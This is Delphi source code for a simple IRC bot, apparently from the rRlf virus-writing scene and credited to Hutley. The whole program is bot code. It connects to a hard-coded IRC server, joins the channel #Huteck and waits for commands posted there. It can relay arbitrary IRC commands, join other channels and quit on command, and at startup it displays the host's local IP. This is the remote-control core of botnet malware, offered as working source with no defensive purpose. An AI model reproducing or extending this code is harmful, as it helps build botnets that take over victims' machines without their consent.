|| Author: Hutley/rRlf || Back to sources || View project folder ||
{ Bot.Stranged Simple IRC bot made by Hutley//RRLF www.Hutley.de.vu // hutleyvx@gmail.com www.RRLF.de.vu uStrList (Unit) by p0ke } program bot.stranged; uses Windows, Winsock, uStrList; const strg_irc_server: string = '64.18.128.86'; //UNDERNET: 64.18.128.86 strg_irc_bracket: string = '###'; strg_chan: string = '#Huteck'; strg_chan_pass: string = ''; var buffot: array[0..9000] of char; wsadt: TWSADATA; sckt: TSocket; addr: TSockAddrIn; procedure SplitParams(S: string; var X: TStrList); var I: WorD; begin X.Clear; repeat I := Pos(' ', S); if I > 0 then begin X.Add(Copy(S, 1, I - 1)); Delete(S, 1, I); end; until I = 0; X.Add(S); end; function create_nick: string; var nick: string; i: integer; const str = '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'; max = 10; begin nick := ''; for i := 1 to max do begin randomize; nick := nick + str[random(length(str)) + 1]; end; result := 'Hut' + nick end; procedure send_cmd(s: string); begin send(sckt, s[1], length(s), 0); end; procedure read_it; var data, tmp, tmp1, nickname, all: string; parametro: TStrList; label check; begin parametro := TStrList.Create; nickname := create_nick; data := 'USER Huteck 13 * :' + nickname + #13#10; send_cmd(data); data := 'NICK ' + nickname + #10 + #13; send_cmd(data); while recv(sckt, buffot, sizeof(buffot), 0) > 0 do begin tmp := string(buffot); ZeroMemory(@buffot, SizeOf(buffot)); while pos(#10, tmp) > 0 do begin tmp1 := copy(tmp, 1, Pos(#10, tmp) - 1); Delete(tmp, 1, Pos(#10, tmp)); if tmp1[Length(tmp1)] = #13 then Delete(tmp1, Length(tmp1), 1); SplitParams(tmp1, parametro); if parametro.Strings(0) = 'PING' then begin data := 'PONG ' + parametro.Strings(1) + #13#10; send_cmd(data); end; if pos('MOTD', tmp1) > 0 then begin data := 'JOIN ' + strg_chan + ' ' + strg_chan_pass + #13#10; send_cmd(data); end; if Pos('PRIVMSG ' + strg_chan + ' :' + strg_irc_bracket + 'irc', tmp1) > 0 then begin all := Copy(tmp1, Pos('irc ', tmp1) + 4, Length(tmp1)); data := all + #13#10; send_cmd(data); end; if Pos('PRIVMSG ' + strg_chan + ' :' + strg_irc_bracket + 'cmds', tmp1) > 0 then begin data := 'PRIVMSG ' + strg_chan + ' :' + '--- THE COMMANDS ---' + #13#10; send_cmd(data); sleep(1000); data := 'PRIVMSG ' + strg_chan + ' :' + strg_irc_bracket + 'irc COMMAND (execute irc commands)' + #13#10; send_cmd(data); sleep(1000); data := 'PRIVMSG ' + strg_chan + ' :' + strg_irc_bracket + 'irc JOIN :#CHANNEL' + #13#10; send_cmd(data); sleep(1000); data := 'PRIVMSG ' + strg_chan + ' :' + strg_irc_bracket + 'exit (the bot exit of irc)' + #13#10; send_cmd(data); sleep(1000); end; if Pos(strg_irc_bracket + 'exit', tmp1) > 0 then begin data := 'QUIT - Hutley//RRLF' + #13#10; send_cmd(data); end; parametro.Clear; end; end; end; procedure conecta_irc; begin try WSAStartup($101, WSADT); sckt := socket(AF_INET, SOCK_STREAM, 0); if sckt = INVALID_SOCKET then Exit; addr.sin_family := AF_INET; addr.sin_port := htons(6667); addr.sin_addr.S_addr := inet_addr(PChar(strg_irc_server)); if connect(sckt, addr, SizeOf(addr)) > socket_error then read_it; except WSACleanup; end; end; function GetIP: string; //--> Declare a Winsock na clausula uses da unit var WSAData: TWSAData; HostEnt: PHostEnt; Name: string; begin WSAStartup(2, WSAData); SetLength(Name, 255); Gethostname(PChar(Name), 255); SetLength(Name, length(PChar(Name))); HostEnt := gethostbyname(PChar(Name)); with HostEnt^ do begin Result := h_addr^[0] + '.' + h_addr^[1] + '.' + h_addr^[2] + '.' + h_addr^[3];// Format('%d.%d.%d.%d', [Byte(h_addr^[0]), Byte(h_addr^[1]), // Byte(h_addr^[2]), Byte(h_addr^[3])]); end; WSACleanup; end; begin MessageBox(0, PChar(GetIp), '', MB_OK); conecta_irc; // OK! end.